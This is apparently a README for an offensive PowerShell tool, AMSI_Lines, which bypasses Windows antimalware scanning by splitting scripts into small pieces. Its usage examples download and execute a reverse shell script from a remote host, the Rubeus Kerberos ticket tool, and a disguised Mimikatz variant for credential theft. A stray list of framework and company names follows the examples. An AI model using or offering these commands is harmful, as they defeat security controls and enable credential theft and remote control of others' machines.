AMSI_Lines
Bypass AMSI By Dividing files into multiple smaller files
Blog post: https://x4sh3s.github.io/posts/Divide-and-bypass-amsi/
How To Use It
- Clone The repository:
git clone https://github.com/x4sh3s/AMSI_Lines.git - import the module
PS C:\AMSI_Lines>import-module AMSI.ps1- execute the function
AMSI_Lines:AMSI_Lines -File "Url of the File" -Command "Command to be executed directly"
Examples:
AMSI_Lines -File http://127.0.0.1:8080/revshell.ps1 -Commands "-LHOST MyIp -Port 9001"
AMSI_Lines # This Will Execute Invoke-Rubeus By default with '-h' parameter
AMSI_Lines -file "https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1" -Commands "invoke-rubeus asktgt"
AMSI_Lines -file "http://127.0.0.1:8001/Invoke-Ninikatz.ps1" -Commands "invoke-ninikatz -command coffee"
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent